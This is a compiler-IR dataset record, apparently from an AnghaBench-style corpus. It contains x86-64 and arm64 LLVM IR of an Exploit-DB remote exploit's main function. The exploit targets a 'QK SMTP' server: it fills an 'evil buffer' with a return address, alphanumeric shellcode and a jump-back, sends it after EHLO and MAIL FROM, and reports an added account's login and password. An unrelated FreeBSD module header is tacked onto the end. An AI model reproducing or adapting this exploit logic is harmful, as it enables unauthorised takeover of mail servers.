define dso_local noundef i32 @main(i32 noundef %0, ptr nocapture noundef readonly %1) local_unnamed_addr #0 {
%3 = alloca [256 x i8], align 16
%4 = load i32, ptr @MAX_ENCODED_LEN, align 4, !tbaa !5
%5 = zext i32 %4 to i64
%6 = alloca i8, i64 %5, align 16
%7 = alloca i8, i64 %5, align 16
call void @llvm.lifetime.start.p0(i64 256, ptr nonnull %3) #7
%8 = load i32, ptr @SC_MAX_SIZE, align 4, !tbaa !5
%9 = zext i32 %8 to i64
%10 = alloca i8, i64 %9, align 16
%11 = tail call i32 (...) @banner() #7
%12 = icmp eq i32 %0, 4
br i1 %12, label %13, label %22
13: ; preds = %2
%14 = getelementptr inbounds ptr, ptr %1, i64 2
%15 = load ptr, ptr %14, align 8, !tbaa !9
%16 = tail call i64 @atoi(ptr noundef %15) #7
%17 = icmp eq i64 %16, 0
br i1 %17, label %22, label %18
18: ; preds = %13
%19 = load ptr, ptr %14, align 8, !tbaa !9
%20 = tail call i64 @atoi(ptr noundef %19) #7
%21 = icmp ugt i64 %20, 65534
br i1 %21, label %22, label %25
22: ; preds = %18, %13, %2
%23 = load ptr, ptr %1, align 8, !tbaa !9
%24 = tail call i32 @usage(ptr noundef %23) #7
br label %25
25: ; preds = %22, %18
%26 = load ptr, ptr @targets, align 8, !tbaa !9
%27 = getelementptr inbounds ptr, ptr %1, i64 3
%28 = load ptr, ptr %27, align 8, !tbaa !9
%29 = tail call i64 @atoi(ptr noundef %28) #7
%30 = getelementptr inbounds %struct.TYPE_2__, ptr %26, i64 %29
%31 = load ptr, ptr %30, align 8, !tbaa !11
%32 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, ptr noundef %31)
%33 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1)
%34 = load i32, ptr @stdout, align 4, !tbaa !5
%35 = tail call i32 @fflush(i32 noundef %34) #7
%36 = load i32, ptr @BUFFSIZE, align 4, !tbaa !5
%37 = tail call i64 @malloc(i32 noundef %36) #7
%38 = inttoptr i64 %37 to ptr
%39 = load i32, ptr @BUFFSIZE, align 4, !tbaa !5
%40 = load ptr, ptr @BUGSTR, align 8, !tbaa !9
%41 = tail call i32 @strlen(ptr noundef %40) #7
%42 = add nsw i32 %41, %39
%43 = tail call i64 @malloc(i32 noundef %42) #7
%44 = inttoptr i64 %43 to ptr
%45 = load i32, ptr @BUFFSIZE, align 4, !tbaa !5
%46 = tail call i32 @memset(ptr noundef %38, i32 noundef 115, i32 noundef %45) #7
%47 = getelementptr inbounds i8, ptr %38, i64 4000
%48 = tail call i32 @memset(ptr noundef nonnull %47, i32 noundef 69, i32 noundef 1000) #7
%49 = load ptr, ptr @NETADD_USER, align 8, !tbaa !9
%50 = tail call i32 @strlen(ptr noundef %49) #7
%51 = call i32 @encode_alphanum(ptr noundef nonnull %6, ptr noundef %49, i32 noundef %50) #7
%52 = load ptr, ptr @NETADD_PASS, align 8, !tbaa !9
%53 = call i32 @strlen(ptr noundef %52) #7
%54 = call i32 @encode_alphanum(ptr noundef nonnull %7, ptr noundef %52, i32 noundef %53) #7
%55 = load ptr, ptr @alphanum_shellcode, align 8, !tbaa !9
%56 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef nonnull dereferenceable(1) %10, ptr noundef nonnull dereferenceable(1) %55, ptr noundef nonnull %6, ptr noundef nonnull %7, ptr noundef nonnull %6)
%57 = load i32, ptr @RET_OFFSET, align 4, !tbaa !5
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds i8, ptr %38, i64 %58
%60 = load ptr, ptr @targets, align 8, !tbaa !9
%61 = load ptr, ptr %27, align 8, !tbaa !9
%62 = call i64 @atoi(ptr noundef %61) #7
%63 = getelementptr inbounds %struct.TYPE_2__, ptr %60, i64 %62, i32 1
%64 = call i32 @memcpy(ptr noundef %59, ptr noundef nonnull %63, i32 noundef 4) #7
%65 = load i32, ptr @SHELLCODE_OFFSET, align 4, !tbaa !5
%66 = sext i32 %65 to i64
%67 = getelementptr inbounds i8, ptr %38, i64 %66
%68 = call i32 @strlen(ptr noundef nonnull %10) #7
%69 = call i32 @memcpy(ptr noundef %67, ptr noundef nonnull %10, i32 noundef %68) #7
%70 = load i32, ptr @JMPBACK_OFFSET, align 4, !tbaa !5
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %38, i64 %71
%73 = load ptr, ptr @jmpback, align 8, !tbaa !9
%74 = call i32 @strlen(ptr noundef %73) #7
%75 = call i32 @memcpy(ptr noundef %72, ptr noundef %73, i32 noundef %74) #7
%76 = getelementptr inbounds i8, ptr %38, i64 4500
%77 = call i32 @memset(ptr noundef nonnull %76, i32 noundef 0, i32 noundef 1) #7
%78 = call i32 @puts(ptr nonnull dereferenceable(1) @str)
%79 = call i32 @puts(ptr nonnull dereferenceable(1) @str.16)
%80 = getelementptr inbounds ptr, ptr %1, i64 1
%81 = load ptr, ptr %80, align 8, !tbaa !9
%82 = getelementptr inbounds ptr, ptr %1, i64 2
%83 = load ptr, ptr %82, align 8, !tbaa !9
%84 = call i64 @atoi(ptr noundef %83) #7
%85 = call i32 @remote_connect(ptr noundef %81, i64 noundef %84) #7
%86 = call i32 @recv(i32 noundef %85, ptr noundef nonnull %3, i32 noundef 256, i32 noundef 0) #7
%87 = call i64 @strstr(ptr noundef nonnull %3, ptr noundef nonnull @.str.5) #7
%88 = icmp eq i64 %87, 0
br i1 %88, label %129, label %89
89: ; preds = %25
%90 = call i32 @sleep(i32 noundef 1) #7
%91 = load ptr, ptr @HELO, align 8, !tbaa !9
%92 = call ptr @strcpy(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %91)
%93 = call i32 @puts(ptr nonnull dereferenceable(1) @str.18)
%94 = call i32 @strlen(ptr noundef %44) #7
%95 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %94, i32 noundef 0) #7
%96 = icmp slt i64 %95, 1
br i1 %96, label %97, label %100
97: ; preds = %89
%98 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%99 = call i32 @exit(i32 noundef 1) #8
unreachable
100: ; preds = %89
%101 = call i32 @sleep(i32 noundef 1) #7
%102 = load ptr, ptr @MAIL_FROM, align 8, !tbaa !9
%103 = call ptr @strcpy(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %102)
%104 = call i32 @puts(ptr nonnull dereferenceable(1) @str.19)
%105 = call i32 @strlen(ptr noundef %44) #7
%106 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %105, i32 noundef 0) #7
%107 = icmp slt i64 %106, 1
br i1 %107, label %108, label %111
108: ; preds = %100
%109 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%110 = call i32 @exit(i32 noundef 1) #8
unreachable
111: ; preds = %100
%112 = call i32 @sleep(i32 noundef 1) #7
%113 = load ptr, ptr @BUGSTR, align 8, !tbaa !9
%114 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %113, ptr noundef %38)
%115 = call i32 @puts(ptr nonnull dereferenceable(1) @str.20)
%116 = call i32 @strlen(ptr noundef %44) #7
%117 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %116, i32 noundef 0) #7
%118 = icmp slt i64 %117, 1
br i1 %118, label %119, label %122
119: ; preds = %111
%120 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%121 = call i32 @exit(i32 noundef 1) #8
unreachable
122: ; preds = %111
%123 = call i32 @sleep(i32 noundef 1) #7
%124 = call i32 @puts(ptr nonnull dereferenceable(1) @str.21)
%125 = load ptr, ptr @NETADD_USER, align 8, !tbaa !9
%126 = call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.12, ptr noundef %125)
%127 = load ptr, ptr @NETADD_PASS, align 8, !tbaa !9
%128 = call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.13, ptr noundef %127)
br label %129
129: ; preds = %25, %122
%130 = phi ptr [ @str.22, %122 ], [ @str.17, %25 ]
%131 = call i32 @puts(ptr nonnull dereferenceable(1) %130)
%132 = call i32 @close(i32 noundef %85) #7
%133 = call i32 @free(ptr noundef %38) #7
%134 = call i32 @free(ptr noundef %44) #7
call void @llvm.lifetime.end.p0(i64 256, ptr nonnull %3) #7
ret i32 0
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @banner(...) local_unnamed_addr #2
declare i64 @atoi(ptr noundef) local_unnamed_addr #2
declare i32 @usage(ptr noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #3
declare i32 @fflush(i32 noundef) local_unnamed_addr #2
declare i64 @malloc(i32 noundef) local_unnamed_addr #2
declare i32 @strlen(ptr noundef) local_unnamed_addr #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @encode_alphanum(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @sprintf(ptr noalias nocapture noundef writeonly, ptr nocapture noundef readonly, ptr noundef, ...) local_unnamed_addr #3
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @remote_connect(ptr noundef, i64 noundef) local_unnamed_addr #2
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) local_unnamed_addr #4
declare i64 @strstr(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @sleep(i32 noundef) local_unnamed_addr #2
declare i64 @send(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @close(i32 noundef) local_unnamed_addr #2
declare i32 @free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: nofree nounwind
declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #5
; Function Attrs: nofree nounwind willreturn memory(argmem: readwrite)
declare ptr @strcpy(ptr noalias returned writeonly, ptr noalias nocapture readonly) local_unnamed_addr #6
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nofree nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #4 = { noreturn "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #5 = { nofree nounwind }
attributes #6 = { nofree nounwind willreturn memory(argmem: readwrite) }
attributes #7 = { nounwind }
attributes #8 = { noreturn nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !10, i64 0}
!10 = !{!"any pointer", !7, i64 0}
!11 = !{!12, !10, i64 0}
!12 = !{!"TYPE_2__", !10, i64 0, !7, i64 8}
| ; ModuleID = 'AnghaBench/exploitdb/exploits/windows/remote/extr_2649.c_main.c'
source_filename = "AnghaBench/exploitdb/exploits/windows/remote/extr_2649.c_main.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.TYPE_2__ = type { ptr, i8 }
@MAX_ENCODED_LEN = common local_unnamed_addr global i32 0, align 4
@SC_MAX_SIZE = common local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [22 x i8] c"[+] Target OS is: %s\0A\00", align 1
@targets = common local_unnamed_addr global ptr null, align 8
@.str.1 = private unnamed_addr constant [28 x i8] c"[+] Creating evil buffer...\00", align 1
@stdout = common local_unnamed_addr global i32 0, align 4
@BUFFSIZE = common local_unnamed_addr global i32 0, align 4
@BUGSTR = common local_unnamed_addr global ptr null, align 8
@NETADD_USER = common local_unnamed_addr global ptr null, align 8
@NETADD_PASS = common local_unnamed_addr global ptr null, align 8
@alphanum_shellcode = common local_unnamed_addr global ptr null, align 8
@RET_OFFSET = common local_unnamed_addr global i32 0, align 4
@SHELLCODE_OFFSET = common local_unnamed_addr global i32 0, align 4
@JMPBACK_OFFSET = common local_unnamed_addr global i32 0, align 4
@jmpback = common local_unnamed_addr global ptr null, align 8
@.str.5 = private unnamed_addr constant [8 x i8] c"QK SMTP\00", align 1
@HELO = common local_unnamed_addr global ptr null, align 8
@MAIL_FROM = common local_unnamed_addr global ptr null, align 8
@.str.12 = private unnamed_addr constant [15 x i8] c"[i] LOGIN:\09%s\0A\00", align 1
@.str.13 = private unnamed_addr constant [18 x i8] c"[i] PASSWORD:\09%s\0A\00", align 1
@str = private unnamed_addr constant [5 x i8] c"done\00", align 1
@str.16 = private unnamed_addr constant [30 x i8] c"[+] Connecting to remote host\00", align 1
@str.17 = private unnamed_addr constant [39 x i8] c"[X] This server is not running QK SMTP\00", align 1
@str.18 = private unnamed_addr constant [17 x i8] c"[+] Sending EHLO\00", align 1
@str.19 = private unnamed_addr constant [22 x i8] c"[+] Sending MAIL FROM\00", align 1
@str.20 = private unnamed_addr constant [20 x i8] c"[+] Sending EXPLOIT\00", align 1
@str.21 = private unnamed_addr constant [47 x i8] c"[+] Done - New account should have been added:\00", align 1
@str.22 = private unnamed_addr constant [35 x i8] c"[+] Exploit now hangs up. see ya.\0A\00", align 1
@str.25 = private unnamed_addr constant [26 x i8] c"[X] Failed to send buffer\00", align 1
; Function Attrs: nounwind ssp uwtable(sync)
define noundef i32 @main(i32 noundef %0, ptr nocapture noundef readonly %1) local_unnamed_addr #0 {
%3 = alloca [256 x i8], align 1
%4 = load i32, ptr @MAX_ENCODED_LEN, align 4, !tbaa !6
%5 = zext i32 %4 to i64
%6 = alloca i8, i64 %5, align 1
%7 = alloca i8, i64 %5, align 1
call void @llvm.lifetime.start.p0(i64 256, ptr nonnull %3) #7
%8 = load i32, ptr @SC_MAX_SIZE, align 4, !tbaa !6
%9 = zext i32 %8 to i64
%10 = alloca i8, i64 %9, align 1
%11 = tail call i32 @banner() #7
%12 = icmp eq i32 %0, 4
br i1 %12, label %13, label %22
13: ; preds = %2
%14 = getelementptr inbounds i8, ptr %1, i64 16
%15 = load ptr, ptr %14, align 8, !tbaa !10
%16 = tail call i64 @atoi(ptr noundef %15) #7
%17 = icmp eq i64 %16, 0
br i1 %17, label %22, label %18
18: ; preds = %13
%19 = load ptr, ptr %14, align 8, !tbaa !10
%20 = tail call i64 @atoi(ptr noundef %19) #7
%21 = icmp ugt i64 %20, 65534
br i1 %21, label %22, label %25
22: ; preds = %18, %13, %2
%23 = load ptr, ptr %1, align 8, !tbaa !10
%24 = tail call i32 @usage(ptr noundef %23) #7
br label %25
25: ; preds = %22, %18
%26 = load ptr, ptr @targets, align 8, !tbaa !10
%27 = getelementptr inbounds i8, ptr %1, i64 24
%28 = load ptr, ptr %27, align 8, !tbaa !10
%29 = tail call i64 @atoi(ptr noundef %28) #7
%30 = getelementptr inbounds %struct.TYPE_2__, ptr %26, i64 %29
%31 = load ptr, ptr %30, align 8, !tbaa !12
%32 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str, ptr noundef %31)
%33 = tail call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.1)
%34 = load i32, ptr @stdout, align 4, !tbaa !6
%35 = tail call i32 @fflush(i32 noundef %34) #7
%36 = load i32, ptr @BUFFSIZE, align 4, !tbaa !6
%37 = tail call i64 @malloc(i32 noundef %36) #7
%38 = inttoptr i64 %37 to ptr
%39 = load i32, ptr @BUFFSIZE, align 4, !tbaa !6
%40 = load ptr, ptr @BUGSTR, align 8, !tbaa !10
%41 = tail call i32 @strlen(ptr noundef %40) #7
%42 = add nsw i32 %41, %39
%43 = tail call i64 @malloc(i32 noundef %42) #7
%44 = inttoptr i64 %43 to ptr
%45 = load i32, ptr @BUFFSIZE, align 4, !tbaa !6
%46 = tail call i32 @memset(ptr noundef %38, i32 noundef 115, i32 noundef %45) #7
%47 = getelementptr inbounds i8, ptr %38, i64 4000
%48 = tail call i32 @memset(ptr noundef nonnull %47, i32 noundef 69, i32 noundef 1000) #7
%49 = load ptr, ptr @NETADD_USER, align 8, !tbaa !10
%50 = tail call i32 @strlen(ptr noundef %49) #7
%51 = call i32 @encode_alphanum(ptr noundef nonnull %6, ptr noundef %49, i32 noundef %50) #7
%52 = load ptr, ptr @NETADD_PASS, align 8, !tbaa !10
%53 = call i32 @strlen(ptr noundef %52) #7
%54 = call i32 @encode_alphanum(ptr noundef nonnull %7, ptr noundef %52, i32 noundef %53) #7
%55 = load ptr, ptr @alphanum_shellcode, align 8, !tbaa !10
%56 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef nonnull dereferenceable(1) %10, ptr noundef nonnull dereferenceable(1) %55, ptr noundef nonnull %6, ptr noundef nonnull %7, ptr noundef nonnull %6)
%57 = load i32, ptr @RET_OFFSET, align 4, !tbaa !6
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds i8, ptr %38, i64 %58
%60 = load ptr, ptr @targets, align 8, !tbaa !10
%61 = load ptr, ptr %27, align 8, !tbaa !10
%62 = call i64 @atoi(ptr noundef %61) #7
%63 = getelementptr inbounds %struct.TYPE_2__, ptr %60, i64 %62, i32 1
%64 = call i32 @memcpy(ptr noundef %59, ptr noundef nonnull %63, i32 noundef 4) #7
%65 = load i32, ptr @SHELLCODE_OFFSET, align 4, !tbaa !6
%66 = sext i32 %65 to i64
%67 = getelementptr inbounds i8, ptr %38, i64 %66
%68 = call i32 @strlen(ptr noundef nonnull %10) #7
%69 = call i32 @memcpy(ptr noundef %67, ptr noundef nonnull %10, i32 noundef %68) #7
%70 = load i32, ptr @JMPBACK_OFFSET, align 4, !tbaa !6
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %38, i64 %71
%73 = load ptr, ptr @jmpback, align 8, !tbaa !10
%74 = call i32 @strlen(ptr noundef %73) #7
%75 = call i32 @memcpy(ptr noundef %72, ptr noundef %73, i32 noundef %74) #7
%76 = getelementptr inbounds i8, ptr %38, i64 4500
%77 = call i32 @memset(ptr noundef nonnull %76, i32 noundef 0, i32 noundef 1) #7
%78 = call i32 @puts(ptr nonnull dereferenceable(1) @str)
%79 = call i32 @puts(ptr nonnull dereferenceable(1) @str.16)
%80 = getelementptr inbounds i8, ptr %1, i64 8
%81 = load ptr, ptr %80, align 8, !tbaa !10
%82 = getelementptr inbounds i8, ptr %1, i64 16
%83 = load ptr, ptr %82, align 8, !tbaa !10
%84 = call i64 @atoi(ptr noundef %83) #7
%85 = call i32 @remote_connect(ptr noundef %81, i64 noundef %84) #7
%86 = call i32 @recv(i32 noundef %85, ptr noundef nonnull %3, i32 noundef 256, i32 noundef 0) #7
%87 = call i64 @strstr(ptr noundef nonnull %3, ptr noundef nonnull @.str.5) #7
%88 = icmp eq i64 %87, 0
br i1 %88, label %129, label %89
89: ; preds = %25
%90 = call i32 @sleep(i32 noundef 1) #7
%91 = load ptr, ptr @HELO, align 8, !tbaa !10
%92 = call ptr @strcpy(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %91)
%93 = call i32 @puts(ptr nonnull dereferenceable(1) @str.18)
%94 = call i32 @strlen(ptr noundef %44) #7
%95 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %94, i32 noundef 0) #7
%96 = icmp slt i64 %95, 1
br i1 %96, label %97, label %100
97: ; preds = %89
%98 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%99 = call i32 @exit(i32 noundef 1) #8
unreachable
100: ; preds = %89
%101 = call i32 @sleep(i32 noundef 1) #7
%102 = load ptr, ptr @MAIL_FROM, align 8, !tbaa !10
%103 = call ptr @strcpy(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %102)
%104 = call i32 @puts(ptr nonnull dereferenceable(1) @str.19)
%105 = call i32 @strlen(ptr noundef %44) #7
%106 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %105, i32 noundef 0) #7
%107 = icmp slt i64 %106, 1
br i1 %107, label %108, label %111
108: ; preds = %100
%109 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%110 = call i32 @exit(i32 noundef 1) #8
unreachable
111: ; preds = %100
%112 = call i32 @sleep(i32 noundef 1) #7
%113 = load ptr, ptr @BUGSTR, align 8, !tbaa !10
%114 = call i32 (ptr, ptr, ptr, ...) @sprintf(ptr noundef nonnull dereferenceable(1) %44, ptr noundef nonnull dereferenceable(1) %113, ptr noundef %38)
%115 = call i32 @puts(ptr nonnull dereferenceable(1) @str.20)
%116 = call i32 @strlen(ptr noundef %44) #7
%117 = call i64 @send(i32 noundef %85, ptr noundef %44, i32 noundef %116, i32 noundef 0) #7
%118 = icmp slt i64 %117, 1
br i1 %118, label %119, label %122
119: ; preds = %111
%120 = call i32 @puts(ptr nonnull dereferenceable(1) @str.25)
%121 = call i32 @exit(i32 noundef 1) #8
unreachable
122: ; preds = %111
%123 = call i32 @sleep(i32 noundef 1) #7
%124 = call i32 @puts(ptr nonnull dereferenceable(1) @str.21)
%125 = load ptr, ptr @NETADD_USER, align 8, !tbaa !10
%126 = call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.12, ptr noundef %125)
%127 = load ptr, ptr @NETADD_PASS, align 8, !tbaa !10
%128 = call i32 (ptr, ...) @printf(ptr noundef nonnull dereferenceable(1) @.str.13, ptr noundef %127)
br label %129
129: ; preds = %25, %122
%130 = phi ptr [ @str.22, %122 ], [ @str.17, %25 ]
%131 = call i32 @puts(ptr nonnull dereferenceable(1) %130)
%132 = call i32 @close(i32 noundef %85) #7
%133 = call i32 @free(ptr noundef %38) #7
%134 = call i32 @free(ptr noundef %44) #7
call void @llvm.lifetime.end.p0(i64 256, ptr nonnull %3) #7
ret i32 0
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @banner(...) local_unnamed_addr #2
declare i64 @atoi(ptr noundef) local_unnamed_addr #2
declare i32 @usage(ptr noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @printf(ptr nocapture noundef readonly, ...) local_unnamed_addr #3
declare i32 @fflush(i32 noundef) local_unnamed_addr #2
declare i64 @malloc(i32 noundef) local_unnamed_addr #2
declare i32 @strlen(ptr noundef) local_unnamed_addr #2
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @encode_alphanum(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: nofree nounwind
declare noundef i32 @sprintf(ptr noalias nocapture noundef writeonly, ptr nocapture noundef readonly, ptr noundef, ...) local_unnamed_addr #3
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @remote_connect(ptr noundef, i64 noundef) local_unnamed_addr #2
declare i32 @recv(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: noreturn
declare i32 @exit(i32 noundef) local_unnamed_addr #4
declare i64 @strstr(ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @sleep(i32 noundef) local_unnamed_addr #2
declare i64 @send(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @close(i32 noundef) local_unnamed_addr #2
declare i32 @free(ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
; Function Attrs: nofree nounwind
declare noundef i32 @puts(ptr nocapture noundef readonly) local_unnamed_addr #5
; Function Attrs: nofree nounwind willreturn memory(argmem: readwrite)
declare ptr @strcpy(ptr noalias returned writeonly, ptr noalias nocapture readonly) local_unnamed_addr #6
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nofree nounwind "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #4 = { noreturn "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #5 = { nofree nounwind }
attributes #6 = { nofree nounwind willreturn memory(argmem: readwrite) }
attributes #7 = { nounwind }
attributes #8 = { noreturn nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !11, i64 0}
!11 = !{!"any pointer", !8, i64 0}
!12 = !{!13, !11, i64 0}
!13 = !{!"TYPE_2__", !11, i64 0, !8, i64 8}
| exploitdb_exploits_windows_remote_extr_2649.c_main |
; ModuleID = 'AnghaBench/freebsd/sys/amd64/amd64/extr_sys_machdep.c_amd64_set_ldt.c'
source_filename = "AnghaBench/freebsd/sys/amd64/amd64/extr_sys_machdep.c_amd64_set_ldt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.thread = type { ptr, ptr, i32 }
%struct.i386_ldt_args = type { i32, i32, i64 }
%struct.user_segment_descriptor = type { i32, i64, i64 }
@PCB_FULL_IRET = dso_local local_unnamed_addr global i32 0, align 4
@max_ldt_segment = dso_local local_unnamed_addr global i64 0, align 8
@EINVAL = dso_local local_unnamed_addr global i32 0, align 4
@dt_lock = dso_local global i32 0, align 4
@LDT_AUTO_ALLOC = dso_local local_unnamed_addr global i64 0, align 8
@EACCES = dso_local local_unnamed_addr global i32 0, align 4
@SEL_UPL = dso_local local_unnamed_addr global i64 0, align 8
